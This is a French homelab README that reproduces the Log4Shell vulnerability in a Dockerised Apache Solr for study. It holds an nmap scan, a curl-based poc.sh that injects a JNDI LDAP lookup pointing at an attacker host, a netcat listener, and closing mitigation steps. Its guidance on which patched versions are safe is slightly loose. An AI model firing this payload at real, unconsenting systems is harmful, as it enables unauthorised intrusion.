Homelab : Log4Shell (CVE-2021-44228) dans Apache Solr

Environnement contrôlé dans Docker pour reproduire et étudier la vulnérabilité Log4Shell dans Apache Solr.

L'Environnement

• Cible (solr-lab) : Apache Solr v8.11.0 (vulhub/solr:8.11.0) exécutant une version vulnérable de Log4j.
• Attaquant (kali-lab) : Container Kali Linux basique avec nmap, curl et netcat préinstallés.

Comment Démarrer le Lab

1. Initialiser les conteneurs

Dans votre terminal, lancez l'environnement en arrière-plan :

docker compose up -d --build

2. Entrer dans Kali (Conteneur Attaquant)

docker compose exec -it kali-lab /bin/bash

3. Cartographier le réseau interne

Dans le conteneur Kali, découvrez votre propre sous-réseau et localisez l'IP d'Apache Solr :

# 1. Voyez votre IP et votre masque de réseau
hostname -I

# 2. Scannez le réseau interne pour trouver l'IP de la cible (port Solr : 8983)
# (Remplacez la sous-réseau ci-dessous selon l'IP obtenue dans la commande précédente)
nmap -p 8983 172.20.0.0/24

Exécution de la PoC (Proof of Concept)

Le script poc.sh injecte le payload de lookup JNDI dans le paramètre de l'API d'administration de Solr.

Le Script (poc.sh)

#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
    echo "Uso: $0 <lhost> <rhost> [lport]"
    echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
    exit 1
fi

KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"

echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."

curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"

Exécution

Toujours dans Kali, donnez la permission au script et exécutez-le en passant les bonnes IP :

chmod +x poc.sh
./poc.sh <IP_DU_KALI> <IP_DU_SOLR> 1389

Que se passe-t-il ici ? Solr traite la requête et tente d'ouvrir une connexion LDAP vers l'IP du Kali sur le port spécifié. Vous pouvez surveiller cette tentative de connexion en ouvrant un écouteur rapide dans Kali avant d'exécuter le script (ex : nc -lnvp 1389).

Mitigation

Pour corriger la faille dans Log4j 2 :

• Mise à jour : Migrer la bibliothèque vers des versions sûres (supérieure à 2.15.0 ou 2.17.1).
• JVM Format Msg : Dans les versions entre 2.10 et 2.14.1, désactiver les lookups en ajoutant le flag -Dlog4j2.formatMsgNoLookups=true au démarrage de Java.
• Suppression de classe : Supprimer manuellement la classe problématique du jar si vous ne pouvez pas mettre à jour :

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class